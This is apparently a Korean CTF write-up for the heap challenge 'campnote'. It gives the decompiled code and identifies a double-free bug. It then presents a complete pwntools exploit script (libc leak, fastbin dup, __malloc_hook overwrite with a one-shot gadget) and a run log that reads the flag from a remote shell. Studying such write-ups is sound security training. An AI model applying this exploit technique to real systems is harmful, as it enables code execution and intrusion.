본문으로 바로가기

Analysis

add()

__int64 add()
{
 void *buf; // ST08_8
 int v2; // [rsp+4h] [rbp-Ch]

 if ( heap_amount > 19 )
{
   puts("Stop it!");
   exit(0);
}
 printf("size >> ");
 v2 = int_read();
 if ( v2 > 0x4FF )
{
   puts("size error!");
   exit(1);
}
 buf = malloc(v2);
 printf("data >> ");
 read(0, buf, v2);
 heap_context[heap_amount] = buf;
 return (heap_amount++ + 1);
}

delete()

void delete()
{
 int v0; // [rsp+Ch] [rbp-4h]

 printf("index >> ");
 v0 = int_read();
 if ( v0 > 11 || v0 < 0 )
{
   puts("index error!");
   exit(0);
}
 if ( !heap_context[v0] )
{
   puts("ptr error!");
   exit(0);
}
 free(heap_context[v0]);
}

view()

int view()
{
 int v1; // [rsp+Ch] [rbp-4h]

 printf("index >> ");
 v1 = int_read();
 if ( v1 > 11 || v1 < 0 )
{
   puts("index error!");
   exit(0);
}
 if ( !heap_context[v1] )
{
   puts("ptr error!");
   exit(0);
}
 return printf("data >> %s", heap_context[v1]);
}

malloc, free, view가 있는 평-범한 힙 문제이다.

특징으로는 edit가 없어서 힙안의 내용을 수정할 수는 없다.

일단 add를 보면 fastbin의 할당, 그리고 해제가 자유롭다.

그리고 free chunk를 검사하지 않아서 Double Free Bug가 발생한다.

그냥 무난하게 패빈덥을 하면 된다.


Exploit

from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
e = ELF("./campnote")

r = remote("pwnable.shop",20202)
#r = process("./campnote")

def add(size,data):
r.sendafter(">>","1")
r.sendafter(">> ",str(size))
r.sendafter(">> ",data)

def delete(index):
r.sendafter(">>","2")
r.sendafter(">> ",str(index))

def view(index):
r.sendafter(">>","3")
r.sendafter(">> ",str(index))

def exit():
r.sendafter(">>","4")

add(0xa0,"AAAA")
add(0x20,"BBBB")
delete(0)
view(0)

leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak - (0x3c4b20 + 88)
malloc = libc_base + libc.symbols["__malloc_hook"]
oneshot = libc_base + 0xf02a4
system = libc_base + libc.symbols["system"]
binsh = libc_base + list(libc.search("/bin/sh"))[0]
log.info("heak : " + hex(leak))
log.info("libc_base : " + hex(libc_base))
log.info("malloc : " + hex(malloc))

delete(1)

add(0x60,"XXXX")
add(0x60,"YYYY")

delete(2)
delete(3)
delete(2)

add(0x60,p64(malloc-0x23))
add(0x60,"CCCC")
add(0x60,"DDDD")
add(0x60,"E"*19 + p64(oneshot))

delete(4)
delete(4)

r.interactive()

근데 개빡치는게 하나 있는게, malloc hook을 덮어서 말록해도 쉘이 안뜬다.

원샷가젯 아다리가 안맞기 때문.

근데 Double Free Bug를 내서 corruption을 발생시키면 쉘이 뜬다.

왜냐면 DFB 내부에 strdup인가를 사용한다.

strdup = strcpy + malloc 이므로 여기 malloc을 쓰는 루틴이 있기 때문이다.

근데 왜 쉘이 뜨는지는 잘 모르겠다 ㅎㅎ. 그냥 아다리같다.

찾아보니까 원샷 안맞을때 이렇게하면 아다리가 가끔 맞는다고 한다.


Flag

juntae@ubuntu:~/ctf/hakcamp2019/pwn/campnote$ p ex.py 
[*] '/lib/x86_64-linux-gnu/libc.so.6'
   Arch:     amd64-64-little
   RELRO:    Partial RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      PIE enabled
[*] '/home/juntae/ctf/hakcamp2019/pwn/campnote/campnote'
   Arch:     amd64-64-little
   RELRO:    Partial RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      No PIE (0x400000)
[+] Opening connection to pwnable.shop on port 20202: Done
[*] heak : 0x7f7d6630cb78
[*] libc_base : 0x7f7d65f48000
[*] malloc : 0x7f7d6630cb10
[*] Switching to interactive mode
*** Error in `campnote': double free or corruption (fasttop): 0x0000000001166010 ***
$ cat /home/campnote/flag
HCMAP{F4sTB1n_DUP_1S_Us3Fu11}$
[*] Interrupted
[*] Closed connection to pwnable.shop port 20202

끝!